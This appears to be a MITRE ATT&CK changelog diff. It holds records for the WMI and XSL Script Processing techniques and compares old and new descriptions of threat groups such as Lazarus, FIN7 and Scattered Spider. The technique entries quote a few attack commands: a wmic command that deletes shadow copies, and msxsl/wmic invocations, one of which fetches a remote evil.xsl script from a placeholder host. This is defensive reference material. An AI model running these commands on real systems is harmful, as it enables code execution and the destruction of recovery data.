+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:08.849000+00:00\", \"old_value\": \"2025-04-25 14:47:30.432000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1021: Restrict Web-Based Content",
+ "M1031: Network Intrusion Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0029: Network Traffic (Network Connection Creation)",
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0581: Detect One-Way Web Service Command Channels"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:30:44.329000+00:00",
+ "modified": "2025-10-24 17:48:19.670000+00:00",
+ "name": "Windows Management Instrumentation",
+ "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.\n\nThe WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6)\n\n**Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being \u201cdisabled by default\u201d on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1047",
+ "external_id": "T1047"
+ },
+ {
+ "source_name": "FireEye WMI 2015",
+ "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
+ "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
+ },
+ {
+ "source_name": "Mandiant WMI",
+ "description": "Mandiant. (n.d.). Retrieved February 13, 2024.",
+ "url": "https://www.mandiant.com/resources/reports"
+ },
+ {
+ "source_name": "WMI 6",
+ "description": "Microsoft. (2022, June 13). BlackCat. Retrieved February 13, 2024.",
+ "url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"
+ },
+ {
+ "source_name": "WMI 1-3",
+ "description": "Microsoft. (2023, March 7). Retrieved February 13, 2024.",
+ "url": "https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN"
+ },
+ {
+ "source_name": "WMI 7,8",
+ "description": "Microsoft. (2024, January 26). WMIC Deprecation. Retrieved February 13, 2024.",
+ "url": "https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "@ionstorm",
+ "Olaf Hartong, Falcon Force",
+ "Tristan Madani"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_remote_support": false,
+ "x_mitre_version": "1.6",
+ "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Process: Process Creation\", \"WMI: WMI Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:19.670000+00:00\", \"old_value\": \"2025-04-15 19:58:01.648000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \\\"wmic\\\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)\"}}}",
+ "previous_version": "1.6",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1026: Privileged Account Management",
+ "M1038: Execution Prevention",
+ "M1040: Behavior Prevention on Endpoint"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0005: WMI (WMI Creation)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0029: Network Traffic (Network Connection Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0364: Behavioral Detection Strategy for WMI Execution Abuse on Windows"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2018-10-17 00:14:20.652000+00:00",
+ "modified": "2025-10-24 17:49:33.993000+00:00",
+ "name": "XSL Script Processing",
+ "description": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* msxsl.exe customers[.]xml script[.]xsl\n* msxsl.exe script[.]xsl script[.]xsl\n* msxsl.exe script[.]jpeg script[.]jpeg\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1220",
+ "external_id": "T1220"
+ },
+ {
+ "source_name": "Reaqta MSXSL Spearphishing MAR 2018",
+ "description": "Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.",
+ "url": "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/"
+ },
+ {
+ "source_name": "Twitter SquiblyTwo Detection APR 2018",
+ "description": "Desimone, J. (2018, April 18). Status Update. Retrieved September 12, 2024.",
+ "url": "https://x.com/dez_/status/986614411711442944"
+ },
+ {
+ "source_name": "LOLBAS Wmic",
+ "description": "LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.",
+ "url": "https://lolbas-project.github.io/lolbas/Binaries/Wmic/"
+ },
+ {
+ "source_name": "Microsoft msxsl.exe",
+ "description": "Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.",
+ "url": "https://www.microsoft.com/download/details.aspx?id=21714"
+ },
+ {
+ "source_name": "Penetration Testing Lab MSXSL July 2017",
+ "description": "netbiosX. (2017, July 6). AppLocker Bypass \u2013 MSXSL. Retrieved July 3, 2018.",
+ "url": "https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/"
+ },
+ {
+ "source_name": "XSL Bypass Mar 2019",
+ "description": "Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE \u2014 A Way to Proxy Code Execution. Retrieved August 2, 2019.",
+ "url": "https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75"
+ },
+ {
+ "source_name": "Microsoft XSLT Script Mar 2017",
+ "description": "Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Empire](https://attack.mitre.org/software/S0363) is an open | t | 1 | [Empire](https://attack.mitre.org/software/S0363) is an open |
| > | source, cross-platform remote administration and post-explo | > | -source, cross-platform remote administration and post-explo | ||
| > | itation framework that is publicly available on GitHub. Whil | > | itation framework that is publicly available on GitHub. Whil | ||
| > | e the tool itself is primarily written in Python, the post-e | > | e the tool itself is primarily written in Python, the post-e | ||
| > | xploitation agents are written in pure [PowerShell](https:// | > | xploitation agents are written in pure [PowerShell](https:// | ||
| > | attack.mitre.org/techniques/T1059/001) for Windows and Pytho | > | attack.mitre.org/techniques/T1059/001) for Windows and Pytho | ||
| > | n for Linux/macOS. [Empire](https://attack.mitre.org/softwar | > | n for Linux/macOS. [Empire](https://attack.mitre.org/softwar | ||
| > | e/S0363) was one of five tools singled out by a joint report | > | e/S0363) was one of five tools singled out by a joint report | ||
| > | on public hacking tools being widely used by adversaries.(C | > | on public hacking tools being widely used by adversaries.(C | ||
| > | itation: NCSC Joint Report Public Tools)(Citation: Github Po | > | itation: NCSC Joint Report Public Tools)(Citation: Github Po | ||
| > | werShell Empire)(Citation: GitHub ATTACK Empire) | > | werShell Empire)(Citation: GitHub ATTACK Empire) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a | t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a |
| > | North Korean state-sponsored cyber threat group that has bee | > | North Korean state-sponsored cyber threat group attributed t | ||
| > | n attributed to the Reconnaissance General Bureau.(Citation: | > | o the Reconnaissance General Bureau (RGB). (Citation: US-CER | ||
| > | US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko | > | T HIDDEN COBRA June 2017) (Citation: Treasury North Korean C | ||
| > | rean Cyber Groups September 2019) The group has been active | > | yber Groups September 2019) [Lazarus Group](https://attack.m | ||
| > | since at least 2009 and was reportedly responsible for the N | > | itre.org/groups/G0032) has been active since at least 2009 a | ||
| > | ovember 2014 destructive wiper attack against Sony Pictures | > | nd is reportedly responsible for the November 2014 destructi | ||
| > | Entertainment as part of a campaign named Operation Blockbus | > | ve wiper attack on Sony Pictures Entertainment, identified b | ||
| > | ter by Novetta. Malware used by [Lazarus Group](https://atta | > | y Novetta as part of Operation Blockbuster. Malware used by | ||
| > | ck.mitre.org/groups/G0032) correlates to other reported camp | > | [Lazarus Group](https://attack.mitre.org/groups/G0032) corre | ||
| > | aigns, including Operation Flame, Operation 1Mission, Operat | > | lates to other reported campaigns, including Operation Flame | ||
| > | ion Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta | > | , Operation 1Mission, Operation Troy, DarkSeoul, and Ten Day | ||
| > | Blockbuster) North Korean group definitions are known to h | > | s of Rain.(Citation: Novetta Blockbuster) North Korea\u2019s cyb | ||
| > | ave significant overlap, and some security researchers repor | > | er operations have shown a consistent pattern of adaptation, | ||
| > | t all North Korean state-sponsored cyber activity under the | > | forming and reorganizing units as national priorities shift | ||
| > | name [Lazarus Group](https://attack.mitre.org/groups/G0032) | > | . These units frequently share personnel, infrastructure, ma | ||
| > | instead of tracking clusters or subgroups, such as [Andariel | > | lware, and tradecraft, making it difficult to attribute spec | ||
| > | ](https://attack.mitre.org/groups/G0138), [APT37](https://at | > | ific operations with high confidence. Public reporting often | ||
| > | tack.mitre.org/groups/G0067), [APT38](https://attack.mitre.o | > | uses \u201cLazarus Group\u201d as an umbrella term for multiple North | ||
| > | rg/groups/G0082), and [Kimsuky](https://attack.mitre.org/gro | > | Korean cyber operators conducting espionage, destructive at | ||
| > | ups/G0094). | > | tacks, and financially motivated campaigns.(Citation: Mandia | ||
| > | nt DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Grou | ||||
| > | ps 2023)(Citation: JPCert Blog Laz Subgroups 2025) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Mustang Panda](https://attack.mitre.org/groups/G0129) is a | t | 1 | [Mustang Panda](https://attack.mitre.org/groups/G0129) is a |
| > | China-based cyber espionage threat actor that was first obse | > | China-based cyber espionage threat actor that has been condu | ||
| > | rved in 2017 but may have been conducting operations since a | > | cting operations since at least 2012. [Mustang Panda](https: | ||
| > | t least 2014. [Mustang Panda](https://attack.mitre.org/group | > | //attack.mitre.org/groups/G0129) has been known to use tailo | ||
| > | s/G0129) has targeted government entities, nonprofits, relig | > | red phishing lures and decoy documents to deliver malicious | ||
| > | ious, and other non-governmental organizations in the U.S., | > | payloads. [Mustang Panda](https://attack.mitre.org/groups/G | ||
| > | Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among othe | > | 0129) has targeted government, diplomatic, and non-governmen | ||
| > | rs.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: | > | tal organizations, including think tanks, religious institut | ||
| > | Anomali MUSTANG PANDA October 2019)(Citation: Secureworks B | > | ions, and research entities, across the United States, Europ | ||
| > | RONZE PRESIDENT December 2019) | > | e, and Asia, with notable activity in Russia, Mongolia, Myan | ||
| > | mar, Pakistan, and Vietnam. (Citation: BlackBerry MUSTANG PA | ||||
| > | NDA October 2022)(Citation: Eset PlugX Korplug Mustang Panda | ||||
| > | March 2022)(Citation: Anomali MUSTANG PANDA October 2019)(C | ||||
| > | itation: Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022)(C | ||||
| > | itation: Secureworks BRONZE PRESIDENT December 2019)(Citatio | ||||
| > | n: DOJ Affidavit Search and Seizure PlugX December 2024)(Cit | ||||
| > | ation: EclecticIQ Mustang Panda PlugX)(Citation: ATTACKIQ MU | ||||
| > | STANG PANDA TONESHELL March 2023)(Citation: Crowdstrike MUST | ||||
| > | ANG PANDA June 2018)(Citation: Palo Alto Networks, Unit 42)( | ||||
| > | Citation: Sophos PlugX September 2022)(Citation: Sophos Must | ||||
| > | ang Panda PLUGX)(Citation: Zscaler) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Scattered Spider](https://attack.mitre.org/groups/G1015) is | t | 1 | [Scattered Spider](https://attack.mitre.org/groups/G1015) is |
| > | a native English-speaking cybercriminal group that has been | > | a native English-speaking cybercriminal group active since | ||
| > | active since at least 2022.(Citation: CrowdStrike Scattered | > | at least 2022. (Citation: CrowdStrike Scattered Spider Profi | ||
| > | Spider Profile)(Citation: MSTIC Octo Tempest Operations Oct | > | le) (Citation: MSTIC Octo Tempest Operations October 2023) T | ||
| > | ober 2023) The group initially targeted customer relationshi | > | he group initially targeted customer relationship management | ||
| > | p management and business-process outsourcing (BPO) firms as | > | (CRM) providers, business process outsourcing (BPO) firms, | ||
| > | well as telecommunications and technology companies. Beginn | > | and telecommunications and technology companies before expan | ||
| > | ing in 2023, [Scattered Spider](https://attack.mitre.org/gro | > | ding in 2023 to gaming, hospitality, retail, managed service | ||
| > | ups/G1015) expanded its operations to compromise victims in | > | provider (MSP), manufacturing, and financial sectors. (Cita | ||
| > | the gaming, hospitality, retail, MSP, manufacturing, and fin | > | tion: MSTIC Octo Tempest Operations October 2023) [Scattered | ||
| > | ancial sectors.(Citation: MSTIC Octo Tempest Operations Octo | > | Spider](https://attack.mitre.org/groups/G1015) relies heavi | ||
| > | ber 2023) During campaigns, [Scattered Spider](https://attac | > | ly on social engineering, including impersonating IT and hel | ||
| > | k.mitre.org/groups/G1015) has leveraged targeted social-engi | > | p-desk staff, to gain initial access, bypass multi-factor au | ||
| > | neering techniques, attempted to bypass popular endpoint sec | > | thentication (MFA), and compromise enterprise networks. The | ||
| > | urity tools, and more recently, deployed ransomware for fina | > | group has adapted its tooling to evade endpoint detection an | ||
| > | ncial gain.(Citation: CISA Scattered Spider Advisory Novembe | > | d response (EDR) defenses and used ransomware for financial | ||
| > | r 2023)(Citation: CrowdStrike Scattered Spider BYOVD January | > | gain. (Citation: CISA Scattered Spider Advisory November 202 | ||
| > | 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citat | > | 3) (Citation: CrowdStrike Scattered Spider BYOVD January 202 | ||
| > | ion: MSTIC Octo Tempest Operations October 2023)(Citation: C | > | 3) (Citation: Crowdstrike TELCO BPO Campaign December 2022) | ||
| > | rowdstrike TELCO BPO Campaign December 2022) | > | [Scattered Spider](https://attack.mitre.org/groups/G1015) ha | ||
| > | d expanded into hybrid cloud and identity environments, usin | ||||
| > | g help-desk impersonation and MFA bypass to obtain administr | ||||
| > | ator access in Okta, AWS, and Office 365. (Citation: Mandian | ||||
| > | t UNC3944 May 2025) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [FIN7](https://attack.mitre.org/groups/G0046) is a financial | t | 1 | [FIN7](https://attack.mitre.org/groups/G0046) is a financial |
| > | ly-motivated threat group that has been active since 2013. [ | > | ly-motivated threat group that has been active since 2013. [ | ||
| > | FIN7](https://attack.mitre.org/groups/G0046) has primarily t | > | FIN7](https://attack.mitre.org/groups/G0046) has targeted th | ||
| > | argeted the retail, restaurant, hospitality, software, consu | > | e retail, restaurant, hospitality, software, consulting, fin | ||
| > | lting, financial services, medical equipment, cloud services | > | ancial services, medical equipment, cloud services, media, f | ||
| > | , media, food and beverage, transportation, and utilities in | > | ood and beverage, transportation, pharmaceutical, and utilit | ||
| > | dustries in the U.S. A portion of [FIN7](https://attack.mitr | > | ies industries in the United States. A portion of [FIN7](htt | ||
| > | e.org/groups/G0046) was run out of a front company called Co | > | ps://attack.mitre.org/groups/G0046) was operated out of a fr | ||
| > | mbi Security and often used point-of-sale malware for target | > | ont company called Combi Security and often used point-of-sa | ||
| > | ing efforts. Since 2020, [FIN7](https://attack.mitre.org/gro | > | le malware for targeting efforts. Since 2020, [FIN7](https:/ | ||
| > | ups/G0046) shifted operations to a big game hunting (BGH) ap | > | /attack.mitre.org/groups/G0046) shifted operations to big ga | ||
| > | proach including use of [REvil](https://attack.mitre.org/sof | > | me hunting (BGH), including use of [REvil](https://attack.mi | ||
| > | tware/S0496) ransomware and their own Ransomware as a Servic | > | tre.org/software/S0496) ransomware and their own Ransomware- | ||
| > | e (RaaS), Darkside. FIN7 may be linked to the [Carbanak](htt | > | as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Ca | ||
| > | ps://attack.mitre.org/groups/G0008) Group, but there appears | > | rbanak](https://attack.mitre.org/groups/G0008) Group, but mu | ||
| > | to be several groups using [Carbanak](https://attack.mitre. | > | ltiple threat groups have been observed using [Carbanak](htt | ||
| > | org/software/S0030) malware and are therefore tracked separa | > | ps://attack.mitre.org/software/S0030), leading these groups | ||
| > | tely.(Citation: FireEye FIN7 March 2017)(Citation: FireEye F | > | to be tracked separately.(Citation: FireEye FIN7 March 2017) | ||
| > | IN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citati | > | (Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBAN | ||
| > | on: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spid | > | AK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: Cro | ||
| > | er August 2021)(Citation: Mandiant FIN7 Apr 2022) | > | wdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 | ||
| > | Apr 2022)(Citation: BiZone Lizar May 2021) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Gamaredon Group](https://attack.mitre.org/groups/G0047) is | t | 1 | [Gamaredon Group](https://attack.mitre.org/groups/G0047) is |
| > | a suspected Russian cyber espionage threat group that has ta | > | a suspected Russian cyber espionage group that has targeted | ||
| > | rgeted military, NGO, judiciary, law enforcement, and non-pr | > | military, law enforcement, judiciary, non-profit, and non-go | ||
| > | ofit organizations in Ukraine since at least 2013. The name | > | vernmental organizations in Ukraine since at least 2013. The | ||
| > | [Gamaredon Group](https://attack.mitre.org/groups/G0047) com | > | name [Gamaredon Group](https://attack.mitre.org/groups/G004 | ||
| > | es from a misspelling of the word \"Armageddon\", which was de | > | 7) derives from a misspelling of the word \"Armageddon,\" foun | ||
| > | tected in the adversary's early campaigns.(Citation: Palo Al | > | d in early campaigns.(Citation: Palo Alto Gamaredon Feb 2017 | ||
| > | to Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April | > | )(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET | ||
| > | 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec | > | Gamaredon June 2020)(Citation: Symantec Shuckworm January 20 | ||
| > | Shuckworm January 2022)(Citation: Microsoft Actinium Februa | > | 22)(Citation: Microsoft Actinium February 2022) In November | ||
| > | ry 2022) In November 2021, the Ukrainian government publicl | > | 2021, the Ukrainian government publicly attributed [Gamared | ||
| > | y attributed [Gamaredon Group](https://attack.mitre.org/grou | > | on Group](https://attack.mitre.org/groups/G0047) to Russia\u2019s | ||
| > | ps/G0047) to Russia's Federal Security Service (FSB) Center | > | Federal Security Service (FSB) Center 18, an assessment lat | ||
| > | 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)( | > | er supported by multiple independent cybersecurity researche | ||
| > | Citation: Microsoft Actinium February 2022) | > | rs. (Citation: Bleepingcomputer Gamardeon FSB November 2021) | ||
| > | (Citation: Microsoft Actinium February 2022) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North | t | 1 | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North |
| > | Korea-based cyber espionage group that has been active since | > | Korea-based cyber espionage group that has been active since | ||
| > | at least 2012. The group initially focused on targeting Sou | > | at least 2012. The group initially targeted South Korean go | ||
| > | th Korean government entities, think tanks, and individuals | > | vernment agencies, think tanks, and subject-matter experts i | ||
| > | identified as experts in various fields, and expanded its op | > | n various fields. Its operations expanded to include the Uni | ||
| > | erations to include the UN and the government, education, bu | > | ted Nations and organizations in the government, education, | ||
| > | siness services, and manufacturing sectors in the United Sta | > | business services, and manufacturing sectors across the Unit | ||
| > | tes, Japan, Russia, and Europe. [Kimsuky](https://attack.mit | > | ed States, Japan, Russia, and Europe. [Kimsuky](https://atta | ||
| > | re.org/groups/G0094) has focused its intelligence collection | > | ck.mitre.org/groups/G0094) has focused collection on foreign | ||
| > | activities on foreign policy and national security issues r | > | policy and national security issues tied to the Korean Peni | ||
| > | elated to the Korean peninsula, nuclear policy, and sanction | > | nsula, nuclear policy, and sanctions. Its operations have ov | ||
| > | s. [Kimsuky](https://attack.mitre.org/groups/G0094) operatio | > | erlapped with other DPRK actors, likely due to ad hoc collab | ||
| > | ns have overlapped with those of other North Korean cyber es | > | oration or limited resource sharing.(Citation: EST Kimsuky A | ||
| > | pionage actors likely as a result of ad hoc collaborations o | > | pril 2019)(Citation: Cybereason Kimsuky November 2020)(Citat | ||
| > | r other limited resource sharing.(Citation: EST Kimsuky Apri | > | ion: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301 | ||
| > | l 2019)(Citation: Cybereason Kimsuky November 2020)(Citation | > | A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Pr | ||
| > | : Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A K | > | oofpoint TA427 April 2024) Because of overlapping operations | ||
| > | imsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proof | > | , some researchers group a wide range of North Korean state- | ||
| > | point TA427 April 2024) [Kimsuky](https://attack.mitre.org/ | > | sponsored cyber activity under the broader [Lazarus Group](h | ||
| > | groups/G0094) was assessed to be responsible for the 2014 Ko | > | ttps://attack.mitre.org/groups/G0032) umbrella rather than t | ||
| > | rea Hydro & Nuclear Power Co. compromise; other notable camp | > | racking separate subgroup or cluster distinctions. [Kimsuky | ||
| > | aigns include Operation STOLEN PENCIL (2018), Operation Kaba | > | ](https://attack.mitre.org/groups/G0094) was assessed to be | ||
| > | r Cobra (2019), and Operation Smoke Screen (2019).(Citation: | > | responsible for the 2014 Korea Hydro & Nuclear Power Co. com | ||
| > | Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky Smok | > | promise; other notable campaigns include Operation STOLEN PE | ||
| > | eScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb | > | NCIL (2018), Operation Kabar Cobra (2019), and Operation Smo | ||
| > | 2019) North Korean group definitions are known to have sig | > | ke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018) | ||
| > | nificant overlap, and some security researchers report all N | > | (Citation: EST Kimsuky SmokeScreen April 2019)(Citation: Ahn | ||
| > | orth Korean state-sponsored cyber activity under the name [L | > | Lab Kimsuky Kabar Cobra Feb 2019) In 2023, [Kimsuky](https: | ||
| > | azarus Group](https://attack.mitre.org/groups/G0032) instead | > | //attack.mitre.org/groups/G0094) was observed using commerci | ||
| > | of tracking clusters or subgroups. In 2023, [Kimsuky](http | > | al large language models to assist with vulnerability resear | ||
| > | s://attack.mitre.org/groups/G0094) has used commercial large | > | ch, scripting, social engineering and reconnaissance.(Citati | ||
| > | language models to assist with vulnerability research, scri | > | on: MSFT-AI) | ||
| > | pting, social engineering and reconnaissance.(Citation: MSFT | ||||
| > | -AI) |
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+ "source_name": "TP-Link Quad 7 AUG 2025",
+ "description": "TP-Link . (2025, August 29). Technical News and Reports about Quad 7 (7777) Botnet aka CovertNetwork-1658. Retrieved October 10, 2025.",
+ "url": "https://www.tp-link.com/us/support/faq/4365/"
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+ "name": "Salesforce Data Exfiltration",
+ "description": "The [Salesforce Data Exfiltration](https://attack.mitre.org/campaigns/C0059) campaign began in October 2024 with financially-motivated threat actor UNC6040 using [Spearphishing Voice](https://attack.mitre.org/techniques/T1598/004) (vishing) to compromise corporate Salesforce instances for large-scale data theft and extortion. Following the initial data theft, victim organizations received extortion demands from a separate threat actor, UNC6240, who claimed to be the \u201cShinyHunters\u201d group. The observed infrastructure and TTPs used during the [Salesforce Data Exfiltration](https://attack.mitre.org/campaigns/C0059) campaign overlap with those used by threat groups with suspected ties to the broader collective known as \"The Com.\u201d These overlaps could plausibly be the result of associated actors operating within the same communities and are not necessarily an indication of a direct operational relationship.(Citation: FBI Salesforce Data Theft SEP 2025)(Citation: Google Salesforce JUN 2025)",
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+ "source_name": "FBI Salesforce Data Theft SEP 2025",
+ "description": "FBI Cyber Division. (2025, September 12). Cyber Criminal Groups UNC6040 and UNC6395 Compromising Salesforce Instances for Data Theft and Extortion. Retrieved October 22, 2025.",
+ "url": "https://www.ic3.gov/CSA/2025/250912.pdf"
+ },
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+ "source_name": "Google Salesforce JUN 2025",
+ "description": "Google Threat Intelligence Group. (2025, June 4). The Cost of a Call: From Voice Phishing to Data Extortion. Retrieved October 22, 2025.",
